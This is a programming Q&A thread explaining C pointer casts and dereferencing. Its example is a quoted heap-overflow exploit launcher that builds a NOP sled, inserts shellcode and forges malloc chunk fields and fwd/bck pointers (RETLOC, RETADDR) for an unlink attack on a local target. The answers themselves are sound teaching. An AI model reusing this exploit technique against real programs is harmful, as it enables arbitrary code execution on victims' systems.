tags:

views:

148

answers:

7

I've come across pointers to casted pointers (not sure that this is the correct term) in C such as:

*(long *) p = 10; I could never for the life of me understand what it means, or, the other example:

*(void *) NULL, or *(char *) 0; I just can't wrap my head around it, could someone please explain this to me, and save me from partial brain damage? :)

Thanks

(P.S An example is shown below of such usage)

int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }
+2  A: 
*(long *) p = -4;

Means: p is a "pointer to a long" and I am trying to assign the value to the memory referenced there. We do this because initially we said p was a char pointer, and we want to change its behavior when accessed.

GrayWizardx
Grey
But, what do you mean, by assign the value to the memory referenced there?
Grey
GrayWizardx
Setting unsigned values to signed values is allowed, but it'll cast -4 to 4294967292 (for a 4-byte `long` type).
Chris Lutz
Ah, I see now; ok. And, what about when things like *(char *) NULL; crop up?
Grey
And, look below, for my comment on "p = -4L"
Grey
I dont think *(char *) NULL is a valid statement, but it would be the same, cast the thing "NULL" to a pointer to char, and then assign NULL the value of whatever the right hand side is. Now *(char *) P = NULL is just setting P to the value NULL.
GrayWizardx
Setting p = -4L is saying set the memory address stored in p to -4L which is not allowed. Briefly:int p = "p will hold the value of an int"int *p = "p will hold a memory address, whose contents can be consulted to get the value you want
GrayWizardx
http://codepad.org/iz2TSDfa uses *(unsigned int *)NULL = is_old_kernel ? 0 : 1; for example. Thanks for your help btw.
Grey
A: 

The first star is actually dereferencing the casted pointer. Thus, *(long *) p = 10 means cast p to a pointer to long and assign -4 to the dereferenced location. Compare your examples to *p =10 .

bludra84
+1  A: 

Putting the * before the (long *) is called "dereferencing" the pointer. It means, as @GrayWizardx says, that you're modifying the value in memory pointed to by the pointer.

AJ
AJ
In order to access the variable that the pointer points to, right? ok. What about *(char *) NULL; ?
Grey
And, hmm -- why can't we just do "p = -4L" ?
Grey
@Grey, can you give an example of where that code is used? I don't see it in the original question...
AJ
An example with *(unsigned int *) NULL: http://codepad.org/iz2TSDfa -- I just came across *(char *) NULL and *(void *) NULL in other places over time ...
Grey
@Grey, is this the code you are talking about? http://bit.ly/6Hl1WL
AJ
@AJ yes, I just copied only the relevant function though....
Grey
+1  A: 

First break up the statement:

  long *q = (long*)p;
  *q = 10;
  p += 4;

The p argument is of type char*, you can only read or write 1 byte at a time through that pointer. The cast to long* creates a pointer through which you can read or write 4 bytes at a time from/to the same address. The assignment writes the bytes 0x00, 0x00, 0x00, 0x0A. The same thing as:

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

Depending on byte order. After the assignment, p needs to be incremented by 4 because 4 bytes were written.

This trick is pretty common with buffers of bytes that contain non-byte data.

Hans Passant
Fucking excellent answer!Could you tell me about http://codepad.org/iz2TSDfa where a *(unsigned int *) NULL; is used?Thanks
Grey
Said much more elegantly than myself.
GrayWizardx
@Grey: tampering with operating systems is not okay here.
Hans Passant
long == 4 bytes on windows and 32-bit unix only. long is 8 bytes on 64-bit unix.
Peeter Joot
A: 

Its the pointer arithmetic, based on the pointer type i.e. whether its char* cPtr or int* nPtr, when you increment cPtr++ will move one byte and nPtr++ would move 4 bytes (assumimg char takes one byte and int takes 4 bytes).

Ramakrishna
A: 

You may have an easier time when you understand the motivation behind your example code.

The code is manipulating 4-byte values, which is why p is being cast as a long *. The construct * (long *) p = -4; allows you to set 4 bytes to 0xFFFFFFFC with a single assignment. If you left p as a char * you'd need four separate assignments, and you'd also need to worry about the endianness of your platform.

So why not simply declare p as a long * in the first place? Because the code is using pointer arithmetic to calculate the target addresses: p += sizeof(shellcode) + 64 - 4; Pointer arithmetic is easy with a char * because adding 1 to the pointer will advance it to the next byte, just as you would expect. Not so with pointers to other data types! If p were declared as long *p; then p += 4 adds 4 * sizeof(long) to p.

Why? Because this makes it easy to traverse a list of long variables:

long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

So, in your example, defining p as a char * makes it easy to do the pointer arithmetic in terms of bytes, and casting it to a long * makes the assignments easier.

Adam Liss
Thanks for this answer, very good and well explained.
Grey
+1  A: 

codepad.org/iz2TSDfa

This code writes four bytes of data to address zero in memory. It is not common or accepted practice, and is not applicable on a general basis. In other words: black magic.

I am guessing it triggers some sort of processor interrupt.

I advise you learn assembly/the computer architecture this code targets if you want to understand it.

Merlyn Morgan-Graham